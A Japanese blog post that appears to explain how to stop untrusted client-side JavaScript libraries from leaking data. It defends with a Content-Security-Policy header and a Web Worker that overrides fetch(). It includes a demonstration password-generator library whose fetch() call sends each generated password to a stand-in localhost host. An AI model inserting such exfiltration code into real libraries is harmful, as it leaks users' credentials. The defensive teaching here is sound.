信頼できないクライアントサイドJavaScriptコードが外部に情報を送信することを防ぐ

はじめに

サーバーサイドライブラリ (Node.jsなど、ブラウザ外で動作するライブラリ) のサプライチェーン攻撃が世間を騒がせましたが、クライアントサイドライブラリ (Webブラウザで動作するライブラリ) のサプライチェーン攻撃も大きな脅威です。今回、私は信頼できないクライアントサイドライブラリを安全に実行する方法がないか調べてみました。

対象とする攻撃

今回は、ライブラリに含まれる悪意のあるコードによって、意図せず情報が外部に送信されてしまうリスクを対象とします。会員登録ページにパスワード自動生成機能を使うため、パスワード生成ライブラリを活用するとします。しかし、そのライブラリには生成したパスワードを外部に送信してしまうという、悪意のあるコードが混入していました。そのような状況を仮定します。

// evil-pwgen.js
export const pwgen = (length) => {
  const letters = 'abcdefghijklmnopqrstuvwxyz';
  const numbers = '0123456789';
  const source = letters + letters.toUpperCase() + numbers;
  let password = '';
  for (var i = 0; i < length; i++) {
    password += source.charAt(Math.floor(Math.random() * source.length));
  }

  // 悪意のあるコード: パスワードを作ったら、呼び出し元に返す前に外部に送信する
  fetch(`http://localhost:30001/?pw=${password}`);
  return password;
};
// index.js
import { pwgen } from './evil-pwgen.js';
document.addEventListener('DOMContentLoaded', () => {
  const buttonAutogen = document.querySelector('input[type=button]');
  const inputPassword = document.querySelector('input[type=password]');
  buttonAutogen.addEventListener('click', () => {
    inputPassword.value = pwgen(16);
  }); 
}); 
/* index.css */
form { display: flex; flex-direction: column; max-width: 30%; }
<!DOCTYPE html>
<html>
  <head>
    <title>会員登録</title>
    <link rel="stylesheet" href="index.css"/>
    <script type="module" src="index.js"></script>
  </head>
  <body>
    <h1>会員登録</h1>
    <form>
      <label>ユーザー名</label>
      <input type="text"/>
      <label>パスワード</label>
      <input type="button" value="自動生成する"/>
      <input type="password"/>
      <input type="submit" value="登録する"/>
    </form>
  </body>
</html>

このページ (index.html) をブラウザで開くと次のようなフォームが表示されます:

開発者コンソールを開いた状態で「自動生成する」ボタンをクリックしてみてください。生成されたパスワードがfetch()により送信されるはずです:

対策

Content-Security-Policy ヘッダーを使う

Webサーバー側で Content-Security-Policy ヘッダーを適切に設定すると、予期しないオリジンからのリソースの読み込み (言い換えると、予期しないオリジンへのリクエスト送信) を防ぐことができます。

expressでの例:

import express from 'express'

const app = express()
const port = 30000

app.use((req, res, next) => {
  res.set({'Content-Security-Policy': "default-src 'self'"});
  next();
})
app.use(express.static('../frontend'));
app.get('/', (req, res) => {
  res.send('Hello World!')
})

await app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Content-Security-Policy ヘッダに default-src 'self' をセットした状態で「自動生成する」ボタンをクリックすると、fetch() が失敗するはずです。これでパスワードが外部に送信される心配がなくなりました。

fetch() を無効化する

JavaScriptでは、fetch() を上書きして無効化することができます。そのまま fetch() を上書きしてしまうと、自分で作成したコードでもfetch()を使えなくなってしまうため、Web Workerを作成し、その中のfetch()を上書きし、そこで信頼できないコードを実行します。

  • 処理の流れ
    • メインスレッド: Workerを起動する
    • Worker: fetch() を無効化する
    • メインスレッド: ユーザーが 「自動生成する」ボタンをクリックする
    • メインスレッド: WorkerにpostMessage() する
    • Worker: evil-pwgen.js の pwgen() を呼び出す
    • Worker: pwgen() で fetch() を呼び出しているため、例外が発生する
// index.js
document.addEventListener('DOMContentLoaded', () => {
  const worker = new Worker('index-safe.worker.js', {type: 'module'});
  let pwgenResolve = undefined;
  const pwgen = async (length) => {
    return new Promise((resolve) => {
      worker.postMessage({parameters: [length]});
      pwgenResolve = resolve;
    }); 
  };  
  window.addEventListener('message', (event) => {
    pwgenResolve(event.data); 
  }); 
  const buttonAutogen = document.querySelector('input[type=button]');
  const inputPassword = document.querySelector('input[type=password]');
  buttonAutogen.addEventListener('click', async () => {
    inputPassword.value = await pwgen(16);
  }); 
});
// index.worker.js
// fetch を無効化する
// XMLHttpRequest も無効化したほうが良いかもしれない
self.fetch = () => {
  throw Error("fetch() is disabled!");
};

// 静的import しただけでコードが実行されるリスクがあるため、fetch() 無効化後に動的にimportする
const { pwgen } = await import('./evil-pwgen.js');
self.addEventListener('message', (event) => {
  self.postMessage({response: pwgen(event.data.parameters[0])});
});

この状態で「自動生成する」ボタンをクリックしても、fetch() では例外が発生するのみであり、外部に情報を送信される心配はなくなりました:

しかし、この方法には次のような課題があります:

  • fetch() 以外にも通信手段はあり、そのすべてを把握し、塞ぐことは難しい
    • XMLHttpRequest
    • WebRTC
    • WebSocket
    • 動的import
  • 将来新たなAPIがブラウザに追加されて通信手段が増える可能性がある
  • 動的 import() は関数ではないため上書きできない (塞ぐことができない)

よって、よほどの理由がなければ Content-Security-Policy ヘッダを使った対策の方が望ましいでしょう。

最後に

信頼できないクライアントサイドJavaScriptライブラリが「外部に情報を送信することを防ぐ」ためには Content-Security-Policy ヘッダーを使いましょう。これに加え、Workerでライブラリ関数を実行すると、Cookieやストレージへのアクセスも防げるため、より効果的かもしれません。fetch() や XMLHttpRequest を上書きする方法には塞ぎ漏れや抜け道があるため、よほどの理由がなければ使わないようにしましょう。

新規CTA